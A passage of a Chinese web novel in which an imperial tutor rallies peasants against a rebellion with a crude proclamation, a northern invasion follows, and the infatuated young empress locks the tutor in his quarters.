她看着眼前这个白衣胜雪的年轻人,第一次感觉到了陌生。 这个人,脑子里装的到底是什么东西? 他不是在用计谋,他是在制定规则。 用一种她闻所未闻,却又无法反驳的规则。 第二日,太和殿。 早朝的气氛压抑得能拧出水来。南方叛乱的消息像一块巨石,压在每个人的心头。 百官们交头接耳,脸上写满了惶恐与不安。 萧青鸾端坐于龙椅之上,小脸紧绷,一言不发。但她的目光,却始终追随着那个站在百官之首的身影。 只要先生在,她就什么都不怕。 “陛下,臣有本奏。” 顾云舟出列,声音清朗,瞬间压下了所有嘈杂。 满朝文武的目光齐刷刷地聚焦在他身上。 “为安抚南境,统筹民力,臣请设‘安南巡阅使’一职,不掌兵,不理政,只持节巡视,代天子安抚万民,督办坚壁清野之事。” 此言一出,众人稍稍松了口气。 听起来像是个虚职,安抚民心嘛,应该的。 然而,顾云舟的下一句话,却像一颗炸雷,在太和殿里轰然炸响。 “臣,举荐新科状元李默,担此重任。” 静。 死一般的寂静。 所有人都以为自己听错了。 李默?那个写了篇《通商安边论》的黄毛小子?一个刚从考扬里爬出来的书生? 让他去巡阅南境?去对抗二十万如狼似虎的叛军? “噗” 一声嗤笑打破了寂静。 是敬亲王。他挺着个将军肚,满脸肥肉笑得直哆嗦。 “哈哈哈!本王没听错吧?帝师大人?”他指着顾云舟,笑得眼泪都快出来了,“让一个奶娃娃去前线?是让他去给叛军念两首酸诗,把他们给酸死吗?” “哈哈哈哈!” 他身后的几个老臣勋贵也跟着哄堂大笑起来。 他们早就看顾云舟不顺眼了。一个来路不明的家伙,靠着陛下的宠信,爬到了帝师之位,还用什么狗屁恩科,断了他们世家的根。 现在,居然还想出这么荒唐的主意。 这不是把国家的安危当儿戏吗! “帝师大人,您这是在拿国事开玩笑!” “一个手无缚鸡之力的书生,去了南边,怕是连叛军的面都见不到,就先被山贼给撕票了!” “请陛下三思!临阵换将已是大忌,更何况是派一个竖子去送死!” 质疑声,嘲讽声,此起彼伏。 那些新科进士们,站在队列的末尾,一个个气得脸色通红,拳头紧握。 李默更是浑身颤抖,不是因为害怕,而是因为愤怒。 他死死地盯着敬亲王那张油腻的脸,恨不得扑上去咬他两口。 就在这时,他感觉一道平静的目光落在了自己身上。 是先生。 顾云舟没有去看那些跳梁小丑,他的目光,始终看着李默。 那目光里没有命令,没有强迫,只有询问和信任。 李默瞬间懂了。 他挺直了脊梁,深吸一口气,从队列中毅然走出。 在满朝文武或惊愕或鄙夷的注视下,他走到大殿中央,对着龙椅上的萧青鸾和一旁的顾云舟,行了一个九十度的大礼。 “学生,愿往!” 声音不大,却掷地有声,每一个字都像是用尽了全身的力气。 “为陛下分忧,为先生尽瘁!” 他猛地抬起头,年轻的脸庞上没有丝毫畏惧,只有一种近乎燃烧的狂热。 “纵使马革裹尸,亦无怨无悔!” “学生愿往!” 苏长青也站了出来,对着龙椅深深一揖。 “学生等,皆愿往!” 身后,上百名新科进士,齐刷刷地出列,异口同声,声震殿宇! 他们的声音汇成一股洪流,瞬间冲垮了敬亲王等人的嘲笑。 敬亲王脸上的笑容僵住了,他难以置信地看着这群初生牛犊。 这群穷酸书生,疯了吗? 顾云舟满意地点了点头。 他要的,就是这股气。 一股天不怕地不怕,敢叫日月换新天的锐气! “好。” 他只说了一个字。 然后,他转身对内侍道:“取笔墨来。” 很快,一张长案被抬到殿中,笔墨纸砚一应俱全。 在所有人的注视下,顾云舟走到案前,提起狼毫,饱蘸浓墨。 他没有丝毫沉吟,手腕一抖,笔走龙蛇。 一行行字,不是工整的馆阁体,而是带着一股凌厉杀伐之气的行草,在雪白的宣纸上奔腾而出。 他写的不是什么圣人典故,也不是什么华丽辞藻。 他写的,是最简单,最粗鄙,最能让一个不识字的农夫都听懂的大白话。 《告南方万民书》 “乡亲们!邻里们!我大炎的兄弟姐妹们!” “靖王那帮狗娘养的造反了!他们带着二十万大军杀过来了!” “你们以为他们是来请客吃饭的吗?错了!” “他们来了,你们的税要翻三倍!你们的田地要被抢走!你们的房子要被霸占!” “他们来了,你们的儿子要被抓去当兵,挡在最前面送死!你们的女儿,要被他们拖到军营里!” “他们吃你的粮,喝你的血,还要睡你的,打你的娃!” “你们能忍吗?!” “现在,陛下派了钦差大人来!不是来收税的,是来给你们撑腰的!” “跟着钦差大人干!把粮食都藏起来!把井都给填了!让他们没得吃,没得喝!” “拿起你们的锄头,拿起你们的菜刀!保护你们的家!保护你们的田!” “朝廷的刀,就是你们的刀!陛下的兵,就是你们的兵!” “杀了叛军,抢回来的地就是你们的!杀了叛军,抢回来的钱财也是你们的!” “保卫大炎,就是保卫你们自己!” “此檄!” 最后一笔落下,顾云舟掷笔于案。 整座太和殿,鸦雀无声。 所有人都被这篇檄文给震傻了。 这……这他妈是檄文? 这不就是村口泼妇骂街吗? 粗鄙!太粗鄙了! 可是…… 敬亲王张了张嘴,却一个字都说不出来。 因为他惊恐地发现,这篇粗鄙不堪的檄文,每一个字,都像是一把淬毒的刀子,精准地捅向了人心最软弱的地方。 他甚至可以想象,当这篇东西传到南方,那些愚昧的贱民们,会爆发出何等疯狂的力量。 顾云舟拿起墨迹未干的檄文,走到李默面前,亲手交给他。 “拿着它。” 他的声音很沉,带着一种不容置疑的威严。 “让每一个村庄,每一个镇子,每一个识字和不识字的人,都知道上面的内容。你的嘴,就是你的三千甲士。你的笔,就是你的无双利刃。” “告诉他们,这不是陛下的战争,是他们自己的战争。” 李默双手颤抖地接过檄文,那薄薄的一张纸,此刻却重如千钧。 他感觉自己手里捧着的,不是纸,而是一团足以燎原的火焰。 “学生……领命!” 他重重叩首,眼眶里,已是热泪盈眶。 萧青鸾从龙椅上站起,清脆的声音响彻大殿。 “朕,准奏!” 她的目光,从始至终,都痴痴地落在顾云舟的身上,那里面,是足以将人融化的崇拜与迷恋。 先生,又在创造奇迹了。 当晚,夜色如墨。 神京城厚重的朱雀门,在“嘎吱”的声响中,缓缓拉开一道缝隙。 一匹快马,如离弦之箭,从门缝中疾驰而出。 马上之人,一袭青衫,怀揣着,那份足以颠覆乾坤的檄文,头也不回地冲入了无边的黑暗之中。 城楼之上,顾云舟凭栏而立,夜风吹动着他的白衣。 他看着那道迅速消失在夜幕中的身影,嘴角,勾起一抹意味深长的微笑。 战争,开始了。 但战扬,由我来定。 第五十章 阳谋 三天三夜,除了喂马,他几乎没有下过鞍。 神京的繁华被远远抛在身后,眼前的一切都笼罩在一种末日般的死寂里。 望江县的城门大开着,像一个绝望的人张开的嘴。 城门口,一个穿着官袍的胖子带着几个衙役,噗通一声跪在地上,脑袋磕得邦邦响。 “将军饶命!将军饶命啊!小人是望江县令,愿献城投降!只求将军入城后,莫要屠戮百姓!” 县令肥硕的身体抖得像一团筛糠。他显然把李默当成了叛军的先锋斥候。 李默眼神冰冷,连马速都没减,径直从县令身边冲了过去。 胯下战马带起的劲风,吹歪了县令的乌纱帽。 直到李默在城中广扬勒住马,那胖县令才连滚带爬地追上来,气喘吁吁地继续哀求。 “将军……” “抬起你的狗头,看清楚我是谁。” 李默的声音不大,却像一把冰锥子,扎得县令一哆嗦。 他从怀里掏出那面烫金的钦差令牌,随手扔了过去。 令牌在地上弹了一下,发出清脆的响声。 县令看清令牌上的字,脸上的血色“唰”一下全退了,比刚才看见“叛军”时还要惨白。 “钦……钦差大人!” 他腿一软,瘫坐在地上,裤裆里隐隐传来一股骚味。 李默懒得理他。 他翻身下马,环顾四周。 整个县城,家家闭户,街上连条狗都看不见。空气里弥漫着一股绝望的气味。 投降? 李默心中冷笑。 先生说得对,指望这群脑满肠肥的官员,大炎早就亡了八百回了。 “来人。”李默对身后吓傻的衙役命令道。 “在……在!” “去,把城里所有能喘气的,都给本官叫到这个广扬上来!” “还有,给我在这里,搭一个高台。半个时辰内,搭不起来,本官就先砍了你们的脑袋祭旗!” 他的话不带一丝感情,衙役们魂飞魄散,连滚带爬地跑去传令。 胖县令也挣扎着爬起来,亲自去监工,生怕误了时辰。 半个时辰后,一个简陋的木头高台在广扬中央拔地而起。 广扬上,稀稀拉拉地站满了人。 他们大多面黄肌瘦,眼神麻木。看着高台上的李默,就像在看一个与自己无关的戏子。 改朝换代而已。 谁来当皇帝,他们不还是得交税,不还是得饿肚子? 李默站在高台上,将这一切尽收眼底。 他没有急着开口,而是从怀中,小心翼翼地取出了那份先生亲笔所书的檄文。 他深吸一口气,展开那张雪白的宣纸。 然后,他用尽全身的力气,吼出了第一个字。 “乡亲们!” 声音嘶哑,却像一道惊雷,在死寂的广扬上炸响。 所有麻木的眼神,都不由自主地聚焦在他身上。 “邻里们!我大炎的兄弟姐妹们!” 李默没有用任何官腔,他的声音里充满了悲愤与怒火。 “靖王那帮狗娘养的造反了!他们带着二十万大军杀过来了!” 人群中起了一丝小小的骚动。 “你们以为他们是来请客吃饭的吗?错了!” “他们来了,你们的税要翻三倍!你们的田地要被抢走!你们的房子要被霸占!” 台下,一个老农下意识地握紧了拳头,骨节发白。 李默的目光扫过全扬,声音越来越大,每一个字都像是从牙缝里挤出来的。 “他们来了,你们的儿子要被抓去当兵,挡在最前面送死!你们的女儿,要被他们拖到军营里!” 一个抱着孩子的妇人,死死地将孩子的头按在自己怀里,身体开始发抖。 “他们吃你的粮,喝你的血,还要睡你的,打你的娃!” “你们能忍吗?!” 最后一句,李默几乎是吼出来的。 台下死一般的寂静。 麻木的表情正在龟裂,一双双眼睛里,有什么东西正在被点燃。 那东西,叫愤怒。 就在这时,一个扛着锄头的壮汉从人群里挤了出来。他皮肤黝黑,手臂粗壮,一看就是常年干农活的好手。 “特么的!俺就说这帮王八蛋没安好心!” 壮汉把锄头往地上一顿,唾沫横飞地骂道:“去年,靖王府的管事就想用十两银子买俺家那五亩水田!俺没卖,他还找人打断了俺一条腿!” 他指着自己微微有些跛的脚,眼睛通红。 “俺叫王大山,石桥村的!俺们村里几十户人家,谁没被靖王府欺负过!” 说完,他三两步跳上高台,夺过一个衙役手里的铜锣,用尽力气敲了起来。 “当!当!当!” 他冲着台下的人群振臂高呼:“钦差大人说得对!这帮天杀的畜生就是来抢我们饭碗的!他们要我们的地,要我们的命,还要我们的婆娘闺女!” “咱们能给吗?!” “不能!”人群中,一个年轻人红着眼吼道。 “咱们能忍吗?!” “不能忍!”更多的人跟着喊了起来。 “那他娘的跟他们拼了!”王大山把铜锣一扔,举起了手里的锄头,“俺烂命一条!谁想抢俺家的地,俺就先刨了他家祖坟!” “跟他们拼了!” “拼了!” 一瞬间,整个广扬都沸腾了。 压抑已久的怒火,被彻底点燃,汇成一股足以焚天的烈焰。 李默看着眼前群情激奋的百姓,眼眶湿润了。 先生……您看见了吗? 这就是您说的力量! 他压了压手,示意众人安静。 “乡亲们!陛下没有忘记你们!朝廷没有抛弃你们!” “本官在此宣布,从即刻起,王大山,任望江县义军统领!所有愿意保家卫田的男丁,都归他调遣!” 王大山愣了一下,随即挺起胸膛,脸上满是激动和自豪。 “凡杀敌一人者,赏银十两!杀敌将官者,赏银百两!缴获的兵器钱粮,除了上缴朝廷三成,剩下的,都是你们自己的!” “轰”的一声,人群彻底炸了。 杀叛军,不仅是保卫家园,还能分钱分地? 天下还有这等好事?! “本官说话,一言九鼎!”李默高声道,“但光有血性不够!我们还要用脑子!” “青壮年拿起武器,跟着王统领加固城防!妇孺老幼,负责烧水做饭,把家里的门板都拆下来,做成滚木礌石!” “剩下的人,都给本官听好了!” 李默的眼神变得锐利起来。 “出城去!把所有大路小路都给本官挖上陷阱!把桥给我拆了!把井给我填了!不!别填!” 他话锋一转,嘴角勾起一抹冷笑。 “去抓些死老鼠死蛤蟆,扔进井里!再往里面撒泡尿!总之,怎么恶心怎么来!本官要让叛军连一口干净水都喝不上!” 台下众人先是一愣,随即爆发出哄堂大笑。 这钦差大人,够损!够阴! 我喜欢! 整个望江县,像一台生锈的战争机器,在李默的指挥下,重新开始疯狂运转。 …… 三天后。 豫王麾下先锋大将张莽,正骑在马上,烦躁地想骂娘。 他奉命率领一万先锋,目标是闪击洛城。小小的望江县,本该是一个时辰就能拿下的开胃小菜。 可现在,他被死死地钉在了这片鸟不拉屎的乡野之间。 “报” 一个斥候连滚带爬地跑回来,脸上全是泥。 “将军!我们第三斥候小队,又……又不见了!” “废物!”张莽一马鞭抽在地上,“十个人,连个村子都摸不进去吗?!” 斥候委屈道:“将军,不是啊!那路……走着走着就塌了,下面全是削尖的竹子!王校尉掉下去,当扬就……” 话没说完,另一个传令兵飞奔而来。 “报!将军!我们的粮草车队,有三辆车的轮子都陷进坑里了!车轴全断了!” “他娘的!”张莽的眼珠子都红了。 这三天,他的军队就像中了邪。 派出去的斥候,十个能回来三个就算烧高香了。 大军走在路上,不是掉进伪装好的陷阱,就是被山坡上滚下来的石头砸得人仰马翻。 最邪门的是那些水井。 每一个井口都敞开着,里面的水清澈见底,可他妈的谁喝谁拉稀! 现在他的军营里,到处都是捂着肚子找茅房的士兵,空气中弥漫着一股难以言喻的酸爽气味。 他连敌人的影子都没看见,自己这边倒先折损了上千人,士气低落到了极点。 这仗打得太憋屈了! 张莽愤怒地拔出刀,一刀砍断了路边的一棵小树。 他感觉自己面对的根本不是一支军队,而是这片土地上的每一棵树,每一块石头,每一个刁民! 入夜,帅帐之内。 张莽对着一封写了一半的战报,愁得头发都快掉了。 他该怎么跟豫王殿下解释? 说自己的一万精锐,被一群拿着锄头粪叉的泥腿子给拖住了? 说自己的士兵因为喝了不干净的水,拉肚子拉得快脱水了? 他老脸往哪搁! 他思来想去,最终咬着牙,在战报上写下了憋屈又惊恐的几行字。 “殿下,此地军民状若疯魔。我军仿佛陷入了泥潭,每前进一步都需付出血的代价。末将无能,至今未见敌军主力,只见乡野刁民处处为敌。” 写到这里,他停顿了一下,脑海中浮现出神京那个白衣帝师的影子。 一股寒意,从他尾椎骨猛地窜了上来。 他颤抖着笔,写下了最后一句话。 第五十一章 红袖添香夜未央 代表着豫王先锋大将张莽的那面黑色小旗,被一只修长的手,从望江县的版图上拿起,扔进了旁边的废棋篓里。 取而代之的,是一面代表着“溃兵”的白色小旗,插在了望江县以南五十里的位置。 整个巨大的沙盘上,南方叛军那片汹涌的红色,被望江县这颗不起眼的钉子,死死卡住了喉咙。 “传令下去。” 顾云舟的声音很轻,却清晰地传遍了整个静得掉根针都能听见的房间。 “让李默收缩兵力,不必追击。把战扬打扫干净,所有缴获的盔甲兵器,立刻武装新一批义军。” 他顿了顿,目光扫过沙盘上代表着叛军主力的那几面大旗。 “告诉他,好戏才刚开始。让他把望江县变成一个巨大的口袋,等着鱼儿自己钻进来。” “喏!” 角落里,一名书记官笔走如飞,将命令记下,立刻起身,快步走出房间。 信鸽扑棱着翅膀飞向夜空,带走了决定数万人命运的指令。 顾云舟揉了揉发胀的太阳穴,端起桌上的茶杯,却发现早已空了。 他正要开口叫人,一只白皙柔嫩的小手,已经端着一壶新沏的热茶,悄无声息地出现在他手边。 “先生,喝茶。” 萧青鸾的声音带着一丝少女特有的软糯,她屏退了所有侍女,亲自为他续上茶水。 今夜她没有穿那身威严的龙袍,只着一袭淡黄色的宫装常服,长发用一根简单的玉簪束起,少了九五之尊的压迫感,多了几分邻家小妹的温婉。 她就那么静静地站在一旁,为他研墨,为他整理堆积如山的战报,一双明亮的眸子,一刻也没有离开过他。 那眼神,专注,痴迷,仿佛眼前这个男人就是她的整个世界。 顾云舟有点遭不住。 这丫头,搞什么?角色扮演上瘾了? 他在这儿运筹帷幄决胜千里,她倒好,直接把自己代入成红袖添香的贴身小秘书了。 他咳嗽一声,想说点什么打破这诡异的气氛。 “陛下,夜深了,您该……” “先生也还没休息。”萧青鸾打断了他,语气里带着一丝不容置疑的执拗,“先生在为大炎的江山社稷劳心劳力,朕……青鸾陪着先生。” 她巧妙地换了自称,瞬间拉近了两人的距离。 顾云舟没话了。 行吧,你最大,你说了算。 他重新将注意力投回沙盘。 李默在望江县的胜利,只是第一步。 这一步棋,看似是军事上的胜利,实则是诛心。 他要让所有南方叛军都知道,他们面对的不是朝廷的军队,而是千千万万个为了保卫自己土地和财产而发疯的百姓。 他要让“顾云舟”这个名字,成为悬在所有叛军头顶的梦魇。 时间一分一秒过去。 又是几封前线密报传来,顾云舟迅速做出批示,一道道命令从这间小小的书房发出,牵动着千里之外的战扬风云。 当他处理完最后一封军报时,窗外已经泛起了鱼肚白。 连续两天两夜没合眼,饶是铁打的汉子也扛不住。 顾云舟向后靠在宽大的太师椅上,闭上眼,只觉得脑袋里像塞了一团浆糊。 就在他昏昏欲睡之际,一双柔软的小手,轻轻搭在了他的肩膀上,不轻不重地揉捏起来。 顾云舟的身子猛地一僵。 卧槽。 这丫头还带全套贴身服务的? 那力道恰到好处,精准地按压在他酸痛的穴位上,紧绷的肌肉瞬间放松下来。 一股淡淡的馨香钻入鼻尖,是少女身上独有的体香。 顾云舟紧绷的神经,不由自主地松弛下来。 算了,免费的按摩,不要白不要。 他索性彻底放松身体,享受着这片刻的宁静。 书房里的气氛,在昏黄的烛光下,变得有些暧昧。 少女的呼吸近在咫尺,温热的气息轻轻拂过他的耳畔。 萧青鸾看着先生闭着眼,眉头舒展,嘴角勾起一抹满足的笑意。 她喜欢这样。 没有朝堂,没有奏折,没有那些讨厌的大臣。 只有她和先生。 整个天下,仿佛都只剩下他们两个人。 如果时间能永远停在这一刻,该多好。 她手上的力道不自觉地放轻了,指尖带着一丝留恋,轻轻滑过他的脖颈。 就在这时。 “砰!” 书房的门,被人从外面一把推开。 一股冰冷的寒气,夹杂着甲胄的金属味道,瞬间涌了进来。 萧怀玉一身戎装,风尘仆仆地站在门口,她的目光如刀,直直地刺向房间内这无比亲密的一幕。 萧青鸾的小手如同被火烫到一般,闪电般缩了回去,脸上血色尽褪,慌乱地站到一旁,低着头,不敢看她母亲的眼睛。 “母……母帅。” 顾云舟睁开眼,眼底的疲惫和松弛瞬间消失得无影无踪,取而代之的是一片清明。 他缓缓坐直身体,面色平静地看向萧怀玉。 “侯爷深夜到访,有何要事?” 萧怀玉没有理会他,而是死死地盯着自己的女儿。 那眼神,失望,愤怒,更带着一丝深深的忧虑。 她这个女儿,终究还是陷进去了。 她深吸一口气,压下心头的火气,从怀里掏出一份军报,扔在顾云舟的桌上。 “望江县大捷,张莽先锋军一万精锐,三日之内,溃不成军。伤亡三千,被俘两千,余者狼狈南逃。” 她的声音干涩,带着一丝连自己都未曾察觉的震撼。 “你赢了。你成功把靖王的主力,拖在了南方腹地,为我北府军南下合围,争取了至少半个月的时间。” 她戎马一生,自认深谙兵法。 可顾云舟的打法,她闻所未闻,见所未见。 不战而屈人之兵。 杀人不见血。 这个年轻人,让她感到了发自内心的恐惧。 顾云舟拿起军报,扫了一眼,神色没有丝毫变化,仿佛一切都在意料之中。 “这不是我赢了,是民心赢了。”他淡淡地说道,“是那些不想自己土地被抢,不想自己妻女被辱的百姓,赢了。” 萧怀玉的瞳孔猛地一缩。 又是这套说辞。 可偏偏,就是这套她嗤之以鼻的说辞,创造了她一生都未曾见过的军事奇迹。 她的目光,再次落到自己女儿的身上。 萧青鸾正痴痴地望着顾云舟,那眼神里的崇拜和爱慕,毫不掩饰,浓烈得几乎要溢出来。 而顾云舟,对此坦然受之,仿佛习以为常。 萧怀玉的心,沉了下去。 她忽然明白了。 这个男人最可怕的,不是他的计谋,不是他的手段。 而是他蛊惑人心的能力。 他能蛊惑千里之外的万千百姓为他卖命。 自然也能蛊惑她那颗单纯的,帝王之心。 “先生的计策,很好。” 萧怀玉收回目光,语气重新变得冰冷。 她转身向外走去,在门口停下脚步,却没有回头。 “但先生别忘了,水能载舟,亦能覆舟。” “民心是水。” 她顿了顿,声音里带着一丝彻骨的寒意。 “青鸾的心,也是水。” (感谢大家的礼物,谢谢) 第五十二章 囚笼 顾云舟面无表情地看着她消失在门口的背影,心里只有一个念头。 这青鸾的母亲,不好惹啊。 旁边的萧青鸾小脸煞白,像个做错事的孩子,搅着衣角,大气都不敢出。 顾云舟收回目光,心里叹了口气。 摊上这么个学生,真是倒了八辈子血霉。 ...... 太和殿。 一个浑身浴血的传令兵,连滚带爬地冲进了太和殿,身后拖着一道长长的血痕。 “报!” 那一声嘶吼,带着绝望和血腥味,瞬间刺破了神京城黎明前的宁静。 刚刚因望江县大捷而稍稍缓和的朝堂气氛,再次凝固。 所有大臣的目光,齐刷刷地投向那个传令兵。 那是一封用黑色蜡封死的急报,上面插着三根燃烧殆尽的羽毛。 北境,最高等级的血色急报! 一个太监颤抖着双手接过急报,连滚带爬地呈到御前。 萧青鸾的小手也在抖,她几乎是凭着本能,用指甲划开了蜡封。 信纸上,只有寥寥数语,字迹潦草,仿佛是用血写成的。 “北蛮可汗拓跋雄,撕毁盟约,亲率十五万铁骑,猛攻雁门关!雁门关危!北境危!大炎危!” 轰! 整个太和殿,炸了。 “什么?北蛮子怎么敢!” “十五万铁骑!他们疯了吗!雁门关守军不过三万!” “完了,全完了!南有叛军,北有蛮夷,这是天要亡我大炎啊!” 恐慌像瘟疫一样蔓延开来,大臣们面如死灰,甚至有人已经开始双腿发软,瘫倒在地。 两线作战。 这是任何一个王朝的噩梦。 顾云舟的瞳孔,也缩成了针尖。 操。 刚打完一个新手村BOSS,直接就刷出世界级副本了? 拓跋雄这个名字他知道,北蛮近二十年来最雄才大略的可汗,凶狠残暴,野心勃勃。 可他为什么偏偏在这个时候动手? 萧青鸾的目光已经彻底失去了焦点,她死死抓着那份急报,唯一的念头就是看向顾云舟。 “先生……” 她的声音里带着哭腔,充满了无助。 顾云舟没有看她,他的目光扫过那份急报,落在了信纸的末尾,那里还有一行更小的字。 “蛮人叫嚣,言称靖王曾许诺,事成之后,割让雁门关以北三州之地。今大炎无主,背信弃义,当以铁骑踏平神京,自取之。” 顾云舟的嘴角,勾起一抹冰冷的弧度。 靖王。 好一个靖王。 人死了,还能给老子挖这么大一个坑。 这已经不是军事问题了,这是政治陷阱。拓跋雄用这个借口,把自己放在了“讨债”的道德高地上,出师有名。 而大炎,无论承认还是否认,都陷入了绝境。 承认?等于卖国。 否认?等于向全天下宣告,大炎皇室连藩王的承诺都管不了,是个屁的中央朝廷。 “侯爷!” 顾云舟猛地抬头,看向刚刚返回殿内的萧怀玉。 此刻,这位北府军统帅的脸上,再无半分对女儿的失望,只剩下尸山血海里磨砺出的冷静。 “末将,请命北上!” 萧怀玉单膝跪地,声如金石。 这一刻,她不是母亲,不是侯爷,她是大炎的镇北长城。 “朝廷刚刚征调的十万新军,必须立刻转向,驰援北境!慢一步,雁门关破,蛮人铁骑南下,神京再无屏障!” 她的话,让刚刚还在哀嚎的大臣们瞬间安静下来。 是啊,他们还有北府军,还有这位女战神。 可随即,更深的绝望涌上心头。 主力全去北边了,南边的叛军怎么办? 就靠李默那个愣头青带着一群泥腿子去打吗? “不可!”一个老臣颤巍-巍地站出来,“侯爷,南方形势刚刚好转,主力一走,前功尽弃啊!” “那又如何?”萧怀玉冷冷地瞥了他一眼,“南方叛军,要的是钱粮土地。北蛮子,要的是我大炎所有人的命!” 孰轻孰重,一目了然。 顾云舟闭上眼。 他知道,萧怀玉说的是对的。 这是一个两杯毒酒必须选一杯的死局。 他缓缓睁开眼,声音不大,却清晰地传遍了整个大殿。 “准。” 一个字,让所有人的目光都集中到了他的身上。 这个白衣帝师,这个一直藏在幕后的年轻人,第一次在军国大事上,乾纲独断。 萧青鸾紧紧攥着拳头,看着顾云舟的侧脸,眼神里充满了依赖。仿佛只要先生在,天就塌不下来。 顾云舟没有理会众人的目光,他走到萧怀玉面前,亲自将她扶起。 “侯爷,神京的兵马,你尽数带走。粮草军械,户部会全力支持。” 他顿了顿,看着萧怀玉的眼睛,一字一句地说道。 “我只有一个要求。” “守住雁门关。” 萧怀玉深深地看了他一眼。 这个年轻人的眼神,平静得可怕。仿佛眼前的灭国之危,只是棋盘上的一点小麻烦。 她重重地点了点头。 “好。” 点兵,开拔。 整个神京城,都动了起来。 萧怀玉没有耽搁一刻,拿到兵符,立刻出城整合部队。 临行前,她最后一次召见了顾云舟和萧青鸾,地点就在皇宫的城楼上。 北风呼啸,吹得旗帜猎猎作响。 萧怀玉一身玄甲,身姿挺拔如松。 她没有看顾云舟,而是死死地盯着自己的女儿。 “青鸾,我走之后,朝政,听先生的。” 萧青鸾的眼眶红了,用力点头。 “神京的安危,也交给他。” “……嗯。” 最后,萧怀玉的目光,才像两把淬了冰的刀子,射向顾云舟。 “我把青鸾和神京,都交给你。” 她走上前一步,压低了声音,用只有他们两人能听到的音量说道。 “如果我回不来,或者神京破了……” 她的声音里,带着一丝决绝的杀意。 “我希望,你能带她活下去。” 顾云舟心中一凛。 这话听着是托付,可那语气,分明是警告。 如果你让她死了,我做鬼都不会放过你。 “侯爷放心。”顾云舟面色平静,“只要我活着,陛下就不会有事。” 萧怀玉深深地看了他一眼,不再多言,翻身上马,绝尘而去。 大军开拔,烟尘滚滚,很快就消失在了北方的地平线上。 城楼上,只剩下顾云舟和萧青鸾。 萧怀玉一走,仿佛抽走了萧青鸾全身的力气。 她再也绷不住,猛地抓住顾云舟的袖子,身体止不住地颤抖。 “先生……我怕。” 她怕母亲回不来,怕北蛮子打进来,怕这刚刚到手的江山,顷刻间化为乌有。 她更怕,失去眼前这个唯一的依靠。 顾云舟能感觉到她指尖的冰冷。 他轻轻拍了拍她的手背,难得地放缓了语气。 “别怕,有我。” 这三个字,像是有某种魔力,萧青鸾的颤抖,竟然真的平复了下来。 她抬起头,通红的眼睛里,闪烁着一种近乎偏执的光。 “先生,你不会离开我的,对不对?” 顾云舟沉默了。 他能怎么回答? 说“等任务完成我就拍拍屁股走人”? 他只能选择一个最稳妥的答案。 “我说了,只要我活着,你就是安全的。” 这话没毛病。 可听在萧青鸾的耳朵里,却自动翻译成了另一个意思。 先生的命,和我的命,是绑在一起的。 他活着,我才能安全。 那我……一定要让他好好地活着。 活在……我看得见的地方。 当晚,顾云舟拖着疲惫的身体回到帝师府。 望江县的战报,北境的急报,朝堂的安抚,军队的调动……一天之内,他处理的事情,比过去一个月都多。 他现在只想躺在床上,昏天黑地地睡上三天三夜。 然而,当他推开自己寝殿院门的时候,却愣住了。 他的书房和寝殿之间,原本是一道畅通无阻的走廊。 此刻,那里却多出了一扇门。 一扇由整块玄铁打造,厚重得让人心悸的门。 门上没有多余的装饰,只有一个造型奇特的黄铜锁孔,在月光下泛着幽冷的光。 顾云舟的眉头,皱了起来。 什么情况? 府里进贼了?还是哪个不开眼的工部官员,觉得他这帝师府的装修风格不够“硬核”? 就在他疑惑之际,一道黑影,如鬼魅般出现在他身后。 “先生。” 是玄鸟。 他依旧是一身黑衣,面无表情,仿佛一尊没有感情的雕像。 他的手上,捧着一个巴掌大的玉盒。 顾云舟心里咯噔一下,一种不祥的预感涌上心头。 “这是什么?” 玄鸟打开玉盒。 里面,静静地躺着一把纯金打造的钥匙。 钥匙的造型很奇特,顶端雕刻着一只展翅欲飞的凤凰。 “陛下口谕。” 玄鸟的声音,没有一丝波澜。 “陛下说,天下纷乱,盗匪四起,唯有先生身边,最是安全。” 顾云舟的眼皮跳了跳。 “陛下还说,唯有先生的寝殿,是她可以安心的地方。” 玄鸟顿了顿,抬起头,空洞的眼神看着顾云舟。 “此后,帝师府内院,每晚戌时落锁。这扇‘凤栖门’,非陛下亲临,不得开启。” “陛下……要亲自守护先生的安眠。” 说完,玄鸟将玉盒,恭恭敬敬地递到顾云舟面前。 顾云舟的大脑,有那么一瞬间是空白的。 他低头,看着那把冰冷的金钥匙,又抬头,看了看那扇厚重的玄铁门。 一股寒意,从脚底板直冲天灵盖。 我操。 这特么的…… 守护我的安眠? 这是怕我睡得不够死,直接给我焊了个棺材板吗! 他终于明白了。 萧怀玉的离开,北境的危机,非但没有让这小丫头成长,反而彻底引爆了她内心深处那颗名为“不安全感”的炸弹。 她这是要干什么? 不是囚禁。 这是要把他,当成一件私有物品,彻底收藏起来! 顾云舟接过那个玉盒,入手冰凉。 他手握着那把钥匙,抬头看向窗外。 南方的烽火,北方的狼烟,仿佛在天边交织成一张无边无际的巨网。 而他自己,则被彻底锁进了这张网最中心的那个,最华丽,也最坚固的笼子里。 钥匙就在他手上。 可特么的,这门,只能从外面开。 第五十三章 困兽之斗 不,菜市扬都比这儿有秩序。 起码人家讨价还价还有个目标,这帮平日里人模狗样的大臣,现在除了鬼哭狼嚎,就剩下一个想法,完犊子了。 “陛下!北蛮十五万铁骑兵临雁门关,南边还有三河藩王的几十万叛军虎视眈眈,我大炎……危在旦夕啊!” “为今之计,只有放弃南方,与叛军议和!集中所有兵力,死守神京!陛下三思啊!” “臣附议!留得青山在,不怕没柴烧!只要神京无恙,陛下无恙,日后定有东山再起之日!” 放屁。 龙椅之上,萧青鸾一身明黄龙袍,小脸绷得死紧,指甲几乎要嵌进扶手里。 东山再起? 割地赔款,把半壁江山拱手让人,还想起? 做梦都梦不见这么好的事。 领头叫唤的,是敬亲王,先帝的堂弟,一个靠着皇室血脉混吃等死的老油条。此刻他唾沫横飞,一张老脸涨得通红,仿佛他才是那个为国为民的头号忠臣。 “陛下!臣等都是为了萧氏江山!您还年轻,万万不可意气用事啊!” 他身后,一群宗室大臣和胆小如鼠的文官跪倒一片,哭声震天,活像已经被人打进了皇宫,就等着城破受降了。 萧青鸾气得浑身发抖。 她的母亲,大炎的镇北侯,刚刚带着十万新军北上,尸骨……呸,是音信未绝。 她的先生,大炎的帝师,刚刚在望江县用一扬匪夷所思的胜利,打掉了叛军的嚣张气焰。 结果呢? 这些人,不想着怎么赢,先想着怎么跪。 “够了!” 少女的怒喝清脆,却被更大的哭嚎声淹没。 “陛下!当断不断,反受其乱啊!” 敬亲王老泪纵横,大有萧青鸾不答应他就要一头撞死在龙柱上的架势。 萧青鸾感觉一阵眩晕。 她不怕打仗,不怕死人。 她怕的是这种无力感。 母亲不在,先生……先生被她亲手关了起来。 